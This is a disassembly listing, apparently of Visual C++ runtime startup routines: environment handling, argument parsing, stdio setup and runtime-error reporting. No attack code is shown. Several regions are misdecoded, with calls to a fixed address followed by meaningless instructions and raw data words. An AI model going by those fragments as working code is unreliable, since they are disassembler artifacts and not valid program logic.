loc_41C82C:				; CODE XREF: sub_41C81A+Bj
		mov	esi, ds:dword_4694D0
		xor	edi, edi


loc_41C834:				; CODE XREF: sub_41C81A+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41C84C
		cmp	al, 3Dh
		jz	short loc_41C83F
		inc	edi


loc_41C83F:				; CODE XREF: sub_41C81A+22j
		push	esi
		call	sub_415CF0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41C834
; ---------------------------------------------------------------------------


loc_41C84C:				; CODE XREF: sub_41C81A+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_4694AC, esi
		jnz	short loc_41C86E
		push	9
		call	sub_417BEE
		pop	ecx


loc_41C86E:				; CODE XREF: sub_41C81A+4Aj
		mov	edi, ds:dword_4694D0
		cmp	[edi], bl
		jz	short loc_41C8B1
		push	ebp


loc_41C879:				; CODE XREF: sub_41C81A+94j
		push	edi
		call	sub_415CF0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41C8AA
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41C89D
		push	9
		call	sub_417BEE
		pop	ecx


loc_41C89D:				; CODE XREF: sub_41C81A+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415C00
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41C8AA:				; CODE XREF: sub_41C81A+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41C879
		pop	ebp


loc_41C8B1:				; CODE XREF: sub_41C81A+5Cj
		push	ds:dword_4694D0
		call	sub_415E3D
		pop	ecx
		mov	ds:dword_4694D0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_46AAE8, 1
		pop	ebx
		retn
sub_41C81A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8D3	proc near		; CODE XREF: seg000:00417B81p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_46AAEC, ebx
		push	esi
		push	edi
		jnz	short loc_41C8EA
		call	sub_41C384


loc_41C8EA:				; CODE XREF: sub_41C8D3+10j
		mov	esi, offset dword_469538
		push	104h
		push	esi
		push	ebx
		call	near ptr 0A80000h
		les	esp, [ecx+46AAE4h]
		mov	ds:dword_4694BC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41C90F
		mov	edi, eax


loc_41C90F:				; CODE XREF: sub_41C8D3+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41C93F
		push	8
		call	sub_417BEE
		pop	ecx


loc_41C93F:				; CODE XREF: sub_41C8D3+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_4694A4, esi
		pop	edi
		pop	esi
		mov	ds:dword_4694A0, eax
		pop	ebx
		leave
		retn
sub_41C8D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96C	proc near		; CODE XREF: sub_41C8D3+47p
					; sub_41C8D3+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41C996
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41C996:				; CODE XREF: sub_41C96C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41C9DF


loc_41C99B:				; CODE XREF: sub_41C96C+58j
					; sub_41C96C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41C9CD
		test	dl, dl
		jz	short loc_41C9CD
		movzx	edx, dl
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_41C9C0
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9C0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41C9C0:				; CODE XREF: sub_41C96C+46j
					; sub_41C96C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C99B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41C99B
; ---------------------------------------------------------------------------


loc_41C9CD:				; CODE XREF: sub_41C96C+36j
					; sub_41C96C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9D7
		and	byte ptr [esi],	0
		inc	esi


loc_41C9D7:				; CODE XREF: sub_41C96C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA22
		inc	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------


loc_41C9DF:				; CODE XREF: sub_41C96C+2Dj
					; sub_41C96C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9EA
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41C9EA:				; CODE XREF: sub_41C96C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_46A9C1[ebx], 4
		jz	short loc_41CA05
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CA04
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41CA04:				; CODE XREF: sub_41C96C+91j
		inc	eax


loc_41CA05:				; CODE XREF: sub_41C96C+8Bj
		cmp	dl, 20h
		jz	short loc_41CA13
		test	dl, dl
		jz	short loc_41CA17
		cmp	dl, 9
		jnz	short loc_41C9DF


loc_41CA13:				; CODE XREF: sub_41C96C+9Cj
		test	dl, dl
		jnz	short loc_41CA1A


loc_41CA17:				; CODE XREF: sub_41C96C+A0j
		dec	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------


loc_41CA1A:				; CODE XREF: sub_41C96C+A9j
		test	esi, esi
		jz	short loc_41CA22
		and	byte ptr [esi-1], 0


loc_41CA22:				; CODE XREF: sub_41C96C+6Ej
					; sub_41C96C+71j ...
		and	[ebp+arg_10], 0


loc_41CA26:				; CODE XREF: sub_41C96C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F


loc_41CA2F:				; CODE XREF: sub_41C96C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CA3B
		cmp	dl, 9
		jnz	short loc_41CA3E


loc_41CA3B:				; CODE XREF: sub_41C96C+C8j
		inc	eax
		jmp	short loc_41CA2F
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C96C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F
		test	edi, edi
		jz	short loc_41CA53
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CA53:				; CODE XREF: sub_41C96C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41CA58:				; CODE XREF: sub_41C96C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41CA61:				; CODE XREF: sub_41C96C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CA6A
		inc	eax
		inc	ebx
		jmp	short loc_41CA61
; ---------------------------------------------------------------------------


loc_41CA6A:				; CODE XREF: sub_41C96C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA9B
		test	bl, 1
		jnz	short loc_41CA99
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CA88
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CA88
		mov	eax, edx
		jmp	short loc_41CA8B
; ---------------------------------------------------------------------------


loc_41CA88:				; CODE XREF: sub_41C96C+10Dj
					; sub_41C96C+116j
		mov	[ebp+arg_0], edi


loc_41CA8B:				; CODE XREF: sub_41C96C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41CA99:				; CODE XREF: sub_41C96C+106j
		shr	ebx, 1


loc_41CA9B:				; CODE XREF: sub_41C96C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CAB0
		inc	ebx


loc_41CAA3:				; CODE XREF: sub_41C96C+142j
		test	esi, esi
		jz	short loc_41CAAB
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41CAAB:				; CODE XREF: sub_41C96C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CAA3


loc_41CAB0:				; CODE XREF: sub_41C96C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CB00
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CAC6
		cmp	dl, 20h
		jz	short loc_41CB00
		cmp	dl, 9
		jz	short loc_41CB00


loc_41CAC6:				; CODE XREF: sub_41C96C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CAFA
		test	esi, esi
		jz	short loc_41CAE9
		movzx	ebx, dl
		test	ds:byte_46A9C1[ebx], 4
		jz	short loc_41CAE2
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41CAE2:				; CODE XREF: sub_41C96C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CAF8
; ---------------------------------------------------------------------------


loc_41CAE9:				; CODE XREF: sub_41C96C+162j
		movzx	edx, dl
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_41CAF8
		inc	eax
		inc	dword ptr [ecx]


loc_41CAF8:				; CODE XREF: sub_41C96C+17Bj
					; sub_41C96C+187j
		inc	dword ptr [ecx]


loc_41CAFA:				; CODE XREF: sub_41C96C+15Ej
		inc	eax
		jmp	loc_41CA58
; ---------------------------------------------------------------------------


loc_41CB00:				; CODE XREF: sub_41C96C+148j
					; sub_41C96C+153j ...
		test	esi, esi
		jz	short loc_41CB08
		and	byte ptr [esi],	0
		inc	esi


loc_41CB08:				; CODE XREF: sub_41C96C+196j
		inc	dword ptr [ecx]
		jmp	loc_41CA26
; ---------------------------------------------------------------------------


loc_41CB0F:				; CODE XREF: sub_41C96C+BDj
					; sub_41C96C+D5j
		test	edi, edi
		jz	short loc_41CB16
		and	dword ptr [edi], 0


loc_41CB16:				; CODE XREF: sub_41C96C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41C96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB20	proc near		; CODE XREF: seg000:00417B77p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_46963C
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CB6E
		call	ebp ; dword_42103C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CB4F
		mov	ds:dword_46963C, 1
		jmp	short loc_41CB77
; ---------------------------------------------------------------------------


loc_41CB4F:				; CODE XREF: sub_41CB20+21j
		call	ds:dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41CC49
		mov	ds:dword_46963C, 2
		jmp	loc_41CBFD
; ---------------------------------------------------------------------------


loc_41CB6E:				; CODE XREF: sub_41CB20+19j
		cmp	eax, 1
		jnz	loc_41CBF8


loc_41CB77:				; CODE XREF: sub_41CB20+2Dj
		cmp	esi, ebx
		jnz	short loc_41CB87
		call	ebp ; dword_42103C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41CC49


loc_41CB87:				; CODE XREF: sub_41CB20+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CB9C


loc_41CB8E:				; CODE XREF: sub_41CB20+73j
					; sub_41CB20+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E


loc_41CB9C:				; CODE XREF: sub_41CB20+6Cj
		sub	eax, esi
		mov	edi, ds:dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_421138
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CBED
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41CBED
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_421138
		test	eax, eax
		jnz	short loc_41CBE9
		push	[esp+18h+var_8]
		call	sub_415E3D
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41CBE9:				; CODE XREF: sub_41CB20+B9j
		mov	ebx, [esp+18h+var_8]


loc_41CBED:				; CODE XREF: sub_41CB20+99j
					; sub_41CB20+A8j
		push	esi
		call	ds:dword_421044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41CC4B
; ---------------------------------------------------------------------------


loc_41CBF8:				; CODE XREF: sub_41CB20+51j
		cmp	eax, 2
		jnz	short loc_41CC49


loc_41CBFD:				; CODE XREF: sub_41CB20+49j
		cmp	edi, ebx
		jnz	short loc_41CC0D
		call	ds:dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CC49


loc_41CC0D:				; CODE XREF: sub_41CB20+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41CC1D


loc_41CC13:				; CODE XREF: sub_41CB20+F6j
					; sub_41CB20+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13


loc_41CC1D:				; CODE XREF: sub_41CB20+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41CC33
		xor	esi, esi
		jmp	short loc_41CC3E
; ---------------------------------------------------------------------------


loc_41CC33:				; CODE XREF: sub_41CB20+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4155D0
		add	esp, 0Ch


loc_41CC3E:				; CODE XREF: sub_41CB20+111j
		push	edi
		call	near ptr 0A80000h
		sbb	al, 8Bh
		mov	bl, 2


loc_41CC49:				; CODE XREF: sub_41CB20+39j
					; sub_41CB20+61j ...
		xor	eax, eax


loc_41CC4B:				; CODE XREF: sub_41CB20+D6j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41CB20	endp

; ---------------------------------------------------------------------------


loc_41CC52:				; CODE XREF: seg000:00417B67p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41CC72
		push	1Bh
		call	sub_417BEE
		pop	ecx


loc_41CC72:				; CODE XREF: seg000:0041CC68j
		mov	ds:dword_46A7A0, esi
		mov	ds:dword_46A8A0, 20h
		lea	eax, [esi+100h]


loc_41CC88:				; CODE XREF: seg000:0041CCA4j
		cmp	esi, eax
		jnb	short loc_41CCA6
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_46A7A0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CCA6:				; CODE XREF: seg000:0041CC8Aj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0A80000h
		mov	eax, ds:247C8366h
		inc	edx
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		dw 0
		dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
		dd 2E1C8DF0h, 0F08B027Ch, 0A8A03539h, 527D0046h, 46A7A4BFh
		dd 1006800h, 0D6E80000h, 85FFFF90h, 387459C0h, 0A8A00583h
		dd 89200046h, 888D07h, 3B000001h, 801873C1h, 83000460h
		dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h
		dd 353904C7h, 46A8A0h, 6EBBB7Ch, 0A8A0358Bh, 0FF330046h
		dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h
		dd 0B7508C1h, 32AAE850h, 85700066h, 8B1E74C0h, 0C1CF8BC7h
		dd 0E18305F8h, 85048B1Fh, 46A7A0h, 8BC8048Dh, 8A08890Bh
		dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 46A7A0A1h
		dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h
		dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 51E850F5h, 9F006632h
		dd 0FF83F88Bh, 571774FFh, 663243E8h, 0C0858900h, 0FF250C74h
		dd 89000000h, 2F8833Eh,	4E800675h, 0FEB4004h, 7503F883h
		dd 44E800Ah, 8004EB08h,	4380044Eh, 7C03FB83h, 0A035FF9Bh
		dd 0E80046A8h, 66320Ch,	5D5E5FF1h, 44C4835Bh, 0CCCCCCC3h
		dd 30324356h, 30304358h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE08	proc near		; DATA XREF: seg000:00417B02o
					; sub_41A69A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41CEA8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41CE3B:				; CODE XREF: sub_41CE08+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CEA1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41CE8F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41CE8F
		js	short loc_41CE9A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416368
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4163AA
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41643E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41CE8F:				; CODE XREF: sub_41CE08+40j
					; sub_41CE08+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41CE3B
; ---------------------------------------------------------------------------


loc_41CE9A:				; CODE XREF: sub_41CE08+54j
		mov	eax, 0
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------


loc_41CEA1:				; CODE XREF: sub_41CE08+36j
		mov	eax, 1
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------


loc_41CEA8:				; CODE XREF: sub_41CE08+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41CEBD:				; CODE XREF: sub_41CE08+97j
					; sub_41CE08+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CE08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41CEE0	proc near		; CODE XREF: sub_417BEE+9p
					; sub_417C13+9p
		mov	eax, ds:dword_4694D8
		cmp	eax, 1
		jz	short loc_41CEF7
		test	eax, eax
		jnz	short locret_41CF18
		cmp	ds:dword_437D54, 1
		jnz	short locret_41CF18


loc_41CEF7:				; CODE XREF: sub_41CEE0+8j
		push	0FCh
		call	sub_41CF19
		mov	eax, ds:dword_469640
		pop	ecx
		test	eax, eax
		jz	short loc_41CF0D
		call	eax ; dword_469640


loc_41CF0D:				; CODE XREF: sub_41CEE0+29j
		push	0FFh
		call	sub_41CF19
		pop	ecx

locret_41CF18:				; CODE XREF: sub_41CEE0+Cj
					; sub_41CEE0+15j
		retn
sub_41CEE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF19	proc near		; CODE XREF: sub_417BEE+12p
					; sub_417C13+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4383C8


loc_41CF2C:				; CODE XREF: sub_41CF19+20j
		cmp	edx, [eax]
		jz	short loc_41CF3B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_438458
		jl	short loc_41CF2C


loc_41CF3B:				; CODE XREF: sub_41CF19+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_4383C8[esi]
		jnz	near ptr loc_41D068+1
		mov	eax, ds:dword_4694D8
		cmp	eax, 1
		jz	loc_41D043
		test	eax, eax
		jnz	short loc_41CF6C
		cmp	ds:dword_437D54, 1
		jz	loc_41D043


loc_41CF6C:				; CODE XREF: sub_41CF19+44j
		cmp	edx, 0FCh
		jz	near ptr loc_41D068+1
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0A80000h
		wait
		test	eax, eax
		jnz	short loc_41CFA3
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx


loc_41CFA3:				; CODE XREF: sub_41CF19+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415CF0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41CFE6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416D40
		add	esp, 10h


loc_41CFE6:				; CODE XREF: sub_41CF19+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415C00
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_A0]
		push	offset asc_421B40 ; "\n\n"
		push	eax
		call	sub_415C10
		push	ds:off_4383CC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415C10
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41E6EE
		add	esp, 2Ch
		pop	edi
		jmp	short near ptr loc_41D068+1
; ---------------------------------------------------------------------------


loc_41D043:				; CODE XREF: sub_41CF19+3Cj
					; sub_41CF19+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4383CC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0A80000h
		inc	eax
		push	eax
		call	near ptr 0A80000h


loc_41D068:				; CODE XREF: sub_41CF19+2Ej
					; sub_41CF19+59j ...
		js	short near ptr loc_41D0C7+1
		leave
		retn
sub_41CF19	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D06C	proc near		; CODE XREF: sub_417C37+6Cp
					; sub_41B8B0+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_469644
		push	1000h
		call	sub_415DC9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D095
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D0A6
; ---------------------------------------------------------------------------


loc_41D095:				; CODE XREF: sub_41D06C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D0A6:				; CODE XREF: sub_41D06C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D06C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B0	proc near		; CODE XREF: sub_417C37+61p
					; sub_4187B6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A8A0
		jb	short loc_41D0BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0BF:				; CODE XREF: sub_41D0B0+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5


loc_41D0C7:				; CODE XREF: sub_41CF19:loc_41D068j
		mov	ecx, ds:dword_46A7A0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D0B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0D6	proc near		; DATA XREF: seg002:00423020o
		mov	eax, ds:dword_46A780
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D0EA
		mov	eax, 200h
		jmp	short loc_41D0F0
; ---------------------------------------------------------------------------


loc_41D0EA:				; CODE XREF: sub_41D0D6+Bj
		cmp	eax, esi
		jge	short loc_41D0F5
		mov	eax, esi


loc_41D0F0:				; CODE XREF: sub_41D0D6+12j
		mov	ds:dword_46A780, eax


loc_41D0F5:				; CODE XREF: sub_41D0D6+16j
		push	4
		push	eax
		call	sub_41E777
		pop	ecx
		mov	ds:dword_469770, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	4
		push	esi
		mov	ds:dword_46A780, esi
		call	sub_41E777
		pop	ecx
		mov	ds:dword_469770, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	1Ah
		call	sub_417BEE
		pop	ecx


loc_41D129:				; CODE XREF: sub_41D0D6+30j
					; sub_41D0D6+49j
		xor	ecx, ecx
		mov	eax, offset off_438458


loc_41D130:				; CODE XREF: sub_41D0D6+6Ej
		mov	edx, ds:dword_469770
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_4386D8
		jl	short loc_41D130
		xor	edx, edx
		mov	ecx, offset dword_438468


loc_41D14D:				; CODE XREF: sub_41D0D6+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_46A7A0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D16A
		test	eax, eax
		jnz	short loc_41D16D


loc_41D16A:				; CODE XREF: sub_41D0D6+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41D16D:				; CODE XREF: sub_41D0D6+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4384C8
		jl	short loc_41D14D
		pop	esi
		retn
sub_41D0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D17B	proc near		; DATA XREF: seg002:00423030o

; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES

		call	sub_418740
		cmp	ds:byte_4694C4,	0
		jz	short locret_41D18E
		jmp	loc_41E7F4
; ---------------------------------------------------------------------------

locret_41D18E:				; CODE XREF: sub_41D17B+Cj
		retn
sub_41D17B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D18F	proc near		; CODE XREF: sub_417D4C+2D4p
					; sub_417D4C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D19B
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D19B:				; CODE XREF: sub_41D18F+8j
		cmp	ds:dword_469518, 0
		jnz	short loc_41D1B6
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D1E8
		push	1
		mov	[eax], cl
